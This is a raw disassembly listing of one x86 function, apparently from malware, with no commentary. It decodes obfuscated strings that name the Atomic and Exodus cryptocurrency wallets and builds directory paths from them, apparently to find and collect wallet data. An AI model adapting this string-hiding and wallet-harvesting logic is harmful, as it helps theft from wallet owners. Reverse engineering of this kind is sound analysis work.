mov dword [ebp - 0x14c], eax
lea edi, [ebp - 0x154]
push 0x59
pop edx
mov byte [ebp - 0x26], dl
mov dword [ebp - 0x25], 0x21213813
mov byte [ebp - 0x21], al
mov ecx, eax
mov dword [ebp - 0x230], ecx
cmp ecx, 4
jae 0x42e933
mov al, byte [ebp + ecx - 0x25]
xor al, dl
mov byte [ebp + ecx - 0x25], al
inc ecx
mov dword [ebp - 0x230], ecx
mov dl, byte [ebp - 0x26]
jmp 0x42e918
mov byte [ebp - 0x21], 0
lea eax, [ebp - 0x25]
push eax
lea ecx, [ebp - 0x848]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x830]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x458]
call fcn.0041c09c
lea esi, [ebp - 0x458]
push 0x407020
lea ecx, [ebp - 0x440]
call fcn.0040bc98
movaps xmm0, xmmword [0x4085b0]
movups xmmword [ebp - 0x1b9], xmm0
mov dword [ebp - 0x1a9], 0x72746e7f
mov byte [ebp - 0x1a5], 0
xor edx, edx
mov dword [ebp - 0x234], edx
cmp edx, 0x13
jae 0x42e9d1
movsx ecx, byte [ebp - 0x1b9]
and ecx, 0x8000000f
jns 0x42e9be
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1b8]
sub al, cl
mov byte [ebp + edx - 0x1b8], al
inc edx
jmp 0x42e99f
mov byte [ebp - 0x1a5], 0
lea eax, [ebp - 0x1b8]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x818]
call fcn.00417b5f
xor ecx, ecx
push ecx
push edi
push ecx
push ecx
push esi
lea ecx, [ebp - 0x440]
push ecx
push eax
mov ecx, ebx
call fcn.0041f76a
or byte [ebx + 0x3e2], al
lea ecx, [ebp - 0x818]
call fcn.0040bc59
lea ecx, [ebp - 0x440]
call fcn.0040bc59
lea ecx, [ebp - 0x458]
call fcn.0040bc59
lea ecx, [ebp - 0x830]
call fcn.0040bc59
lea ecx, [ebp - 0x848]
call fcn.0040bc59
mov ecx, dword [ebp - 0x154]
test ecx, ecx
je 0x42eada
mov edi, dword [ebp - 0x150]
mov esi, ecx
mov dword [ebp - 0x238], esi
cmp esi, edi
je 0x42ea7b
mov ecx, esi
call fcn.0040bc59
add esi, 0x18
mov dword [ebp - 0x238], esi
mov ecx, dword [ebp - 0x154]
jmp 0x42ea5f
mov eax, dword [ebp - 0x14c]
sub eax, ecx
cdq
push 0x18
pop esi
idiv esi
imul edx, eax, 0x18
mov dword [ebp - 0x23c], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42eab6
add edx, 0x23
mov dword [ebp - 0x23c], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x154]
and dword [eax], 0
lea eax, [ebp - 0x150]
and dword [eax], 0
lea eax, [ebp - 0x14c]
and dword [eax], 0
mov al, 0x46
mov dword [ebp - 0x72], 0x7a676246
mov dword [ebp - 0x6e], 0x696f7375
mov byte [ebp - 0x6a], 0
xor edx, edx
mov dword [ebp - 0x240], edx
cmp edx, 7
jae 0x42eb21
movsx ecx, al
and ecx, 0x8000000f
jns 0x42eb0b
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x71]
sub al, cl
mov byte [ebp + edx - 0x71], al
inc edx
mov dword [ebp - 0x240], edx
mov al, byte [ebp - 0x72]
jmp 0x42eaf6
mov byte [ebp - 0x6a], 0
lea eax, [ebp - 0x71]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x860]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x860]
call fcn.0040bc59
test esi, esi
je 0x42edf0
lea edi, [ebx + 0x3b0]
push 0x5b
pop ebx
mov al, bl
mov byte [ebp - 0x3e], al
mov dword [ebp - 0x3d], 0x787a7f6c
mov word [ebp - 0x39], 0x6e74
mov byte [ebp - 0x37], 0
xor edx, edx
mov dword [ebp - 0x244], edx
cmp edx, 6
jae 0x42eba7
movsx ecx, al
and ecx, 0x8000000f
jns 0x42eb91
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x3d]
sub al, cl
mov byte [ebp + edx - 0x3d], al
inc edx
mov dword [ebp - 0x244], edx
mov al, byte [ebp - 0x3e]
jmp 0x42eb7c
mov byte [ebp - 0x37], 0
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x890]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x878]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x470]
call fcn.0041c09c
lea eax, [ebp - 0x470]
push eax
mov ecx, edi
call fcn.004439d9
lea ecx, [ebp - 0x470]
call fcn.0040bc59
lea ecx, [ebp - 0x878]
call fcn.0040bc59
lea ecx, [ebp - 0x890]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
lea edi, [ebp - 0x160]
mov byte [ebp - 0x46], bl
mov dword [ebp - 0x45], 0x787a7f6c
mov word [ebp - 0x41], 0x6e74
mov byte [ebp - 0x3f], al
mov edx, eax
mov dword [ebp - 0x248], edx
cmp edx, 6
jae 0x42ec6b
movsx ecx, bl
and ecx, 0x8000000f
jns 0x42ec55
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x45]
sub al, cl
mov byte [ebp + edx - 0x45], al
inc edx
mov dword [ebp - 0x248], edx
mov bl, byte [ebp - 0x46]
jmp 0x42ec40
xor ebx, ebx
mov byte [ebp - 0x3f], bl
lea eax, [ebp - 0x45]
push eax
lea ecx, [ebp - 0x8d8]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x8c0]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x4a0]
call fcn.0041c09c
lea esi, [ebp - 0x4a0]
push 0x407020
lea ecx, [ebp - 0x488]
call fcn.0040bc98
mov dl, 0x6e
mov dword [ebp - 0x7b], 0x1a0f326e
mov dword [ebp - 0x77], 0xd070301
mov byte [ebp - 0x73], bl
mov ecx, ebx
mov dword [ebp - 0x24c], ecx
cmp ecx, 7
jae 0x42eced
mov al, byte [ebp + ecx - 0x7a]
xor al, dl
mov byte [ebp + ecx - 0x7a], al
inc ecx
mov dword [ebp - 0x24c], ecx
mov dl, byte [ebp - 0x7b]
jmp 0x42ecd2
mov byte [ebp - 0x73], bl
lea eax, [ebp - 0x7a]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x8a8]
call fcn.00417b5f
push ebx
push edi
push ebx
push ebx
push esi
lea ecx, [ebp - 0x488]
push ecx
push eax
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
call fcn.0041f76a
or byte [ebx + 0x3e2], al
lea ecx, [ebp - 0x8a8]
call fcn.0040bc59
lea ecx, [ebp - 0x488]
call fcn.0040bc59
lea ecx, [ebp - 0x4a0]
call fcn.0040bc59
lea ecx, [ebp - 0x8c0]
call fcn.0040bc59
lea ecx, [ebp - 0x8d8]
call fcn.0040bc59
mov ecx, dword [ebp - 0x160]
test ecx, ecx
je 0x42edf0
mov edi, dword [ebp - 0x15c]
mov esi, ecx
mov dword [ebp - 0x250], esi
cmp esi, edi
je 0x42ed91
mov ecx, esi
call fcn.0040bc59
add esi, 0x18
mov dword [ebp - 0x250], esi
mov ecx, dword [ebp - 0x160]
jmp 0x42ed75
mov eax, dword [ebp - 0x158]
sub eax, ecx
cdq
push 0x18
pop esi
idiv esi
imul edx, eax, 0x18
mov dword [ebp - 0x254], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x42edcc
add edx, 0x23
mov dword [ebp - 0x254], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42f0aa
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
lea eax, [ebp - 0x160]
and dword [eax], 0
lea eax, [ebp - 0x15c]
and dword [eax], 0
lea eax, [ebp - 0x158]
and dword [eax], 0
push 0x44
pop edx
mov byte [ebp - 0x84], dl
mov dword [ebp - 0x83], 0x2b3c0118
mov dword [ebp - 0x7f], 0x373120
xor ecx, ecx
mov dword [ebp - 0x258], ecx
cmp ecx, 7
jae 0x42ee36
mov al, byte [ebp + ecx - 0x83]
xor al, dl
mov byte [ebp + ecx - 0x83], al
inc ecx
mov dword [ebp - 0x258], ecx
mov dl, byte [ebp - 0x84]
jmp 0x42ee12
mov byte [ebp - 0x7c], 0
lea eax, [ebp - 0x83]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x8f0]
call fcn.00417b5f
push eax
call fcn.0041e788
mov esi, eax
lea ecx, [ebp - 0x8f0]
call fcn.0040bc59
test esi, esi
je 0x42f079
mov dl, 0x75
mov dword [ebp - 0x18], 0x1a0d3075
mov dword [ebp - 0x14], 0x60011
xor ecx, ecx
mov dword [ebp - 0x25c], ecx
cmp ecx, 6
jae 0x42eea0
mov al, byte [ebp + ecx - 0x17]
xor al, dl
mov byte [ebp + ecx - 0x17], al
inc ecx
mov dword [ebp - 0x25c], ecx
mov dl, byte [ebp - 0x18]
jmp 0x42ee85
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x17]
push eax
lea ecx, [ebp - 0x920]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x908]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x4b8]
call fcn.0041c09c
lea eax, [ebp - 0x4b8]
push eax
lea ecx, [ebx + 0x3b0]
call fcn.004439d9
lea ecx, [ebp - 0x4b8]
call fcn.0040bc59
lea ecx, [ebp - 0x908]
call fcn.0040bc59
lea ecx, [ebp - 0x920]
call fcn.0040bc59
xor eax, eax
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], eax
lea edi, [ebp - 0x2d8]
mov dl, 0x75
mov dword [ebp - 0x4e], 0x1a0d3075
mov dword [ebp - 0x4a], 0x60011
mov ecx, eax
mov dword [ebp - 0x260], ecx
cmp ecx, 6
jae 0x42ef55
mov al, byte [ebp + ecx - 0x4d]
xor al, dl
mov byte [ebp + ecx - 0x4d], al
inc ecx
mov dword [ebp - 0x260], ecx
mov dl, byte [ebp - 0x4e]
jmp 0x42ef3a
mov byte [ebp - 0x47], 0
lea eax, [ebp - 0x4d]
push eax
lea ecx, [ebp - 0x968]
call fcn.0040bc98
mov esi, eax
push 0x5c
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x950]
call fcn.0043daf1
push esi
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x4e8]
call fcn.0041c09c
lea esi, [ebp - 0x4e8]
push 0x407020
lea ecx, [ebp - 0x4d0]
call fcn.0040bc98
movaps xmm0, xmmword [0x407880]
movups xmmword [ebp - 0x18f], xmm0
mov dword [ebp - 0x17f], 0x75756a80
mov word [ebp - 0x17b], 0x7d6e
mov byte [ebp - 0x179], 0
xor edx, edx
mov dword [ebp - 0x264], edx
cmp edx, 0x15
jae 0x42effc
movsx ecx, byte [ebp - 0x18f]
and ecx, 0x8000000f
jns 0x42efe9
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x18e]
sub al, cl
mov byte [ebp + edx - 0x18e], al
inc edx
jmp 0x42efca
mov byte [ebp - 0x179], 0
lea eax, [ebp - 0x18e]
push eax
lea edx, [ebp - 0x178]
lea ecx, [ebp - 0x938]
call fcn.00417b5f
xor ecx, ecx
push ecx
push edi
push ecx
push ecx
push esi
lea ecx, [ebp - 0x4d0]
push ecx
push eax
mov ecx, ebx
call fcn.0041f76a
or byte [ebx + 0x3e2], al
lea ecx, [ebp - 0x938]
call fcn.0040bc59
lea ecx, [ebp - 0x4d0]
call fcn.0040bc59
lea ecx, [ebp - 0x4e8]
call fcn.0040bc59
lea ecx, [ebp - 0x950]
call fcn.0040bc59
lea ecx, [ebp - 0x968]
call fcn.0040bc59
lea ecx, [ebp - 0x2d8]
call fcn.0041284b
lea ecx, [ebp - 0x2f0]
call fcn.0040bc59
lea ecx, [ebp - 0x178]
call fcn.0040bc59
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4
call fcn.00448974
int3